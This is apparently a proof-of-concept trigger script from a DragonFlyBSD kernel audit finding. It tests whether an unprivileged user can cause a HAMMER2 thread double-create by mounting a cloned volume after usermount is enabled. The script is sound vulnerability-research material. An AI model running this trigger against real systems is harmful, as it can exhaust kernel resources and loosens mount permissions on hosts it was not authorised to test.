DragonFlyBSD Kernel Audit
DF-2621 / trigger4.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2621 trigger v4: unprivileged-user test (threat model check).
# vfs.usermount=1 + user-owned vn devices + user-owned mountpoint.
# As user maxx: mount vn0@testvol, then vn1@testvol (dd clone, same clid)
# -> expect the SAME double-create (thread census 36 -> 108) WITHOUT root.
D=/root/poc/df2621
LOG=$D/run4.log
exec > $LOG 2>&1
set -x

for i in 0 1; do vnconfig -u vn$i 2>/dev/null; done
rm -f $D/base.img $D/clone.img
truncate -s 64M $D/base.img
newfs_hammer2 -L testvol $D/base.img
dd if=$D/base.img of=$D/clone.img bs=1m 2>/dev/null
vnconfig -c vn0 $D/base.img
vnconfig -c vn1 $D/clone.img

sysctl -w vfs.usermount=1
chown maxx /dev/vn0 /dev/vn1
rm -rf /home/maxx/h2m /home/maxx/h2m2
mkdir -p /home/maxx/h2m /home/maxx/h2m2
chown maxx /home/maxx/h2m /home/maxx/h2m2

tcnt() {
	ps axlw | grep "h2xop-testvol" | grep -v grep | wc -l
}
echo -n "T0="; tcnt

echo "=== 1. user mount vn0 ==="
su -m maxx -c "mount -t hammer2 -o ro /dev/vn0@testvol /home/maxx/h2m"
echo MOUNT1_RC=$?
echo -n "T1="; tcnt

echo "=== 2. user mount vn1 (same clid clone) ==="
su -m maxx -c "mount -t hammer2 -o ro /dev/vn1@testvol /home/maxx/h2m2"
echo "MOUNT2_RC=$? (expect 1 = Device busy)"
echo -n "T2="; tcnt
mount | grep hammer2 | grep -v vbd
echo TRIGGER_V4_DONE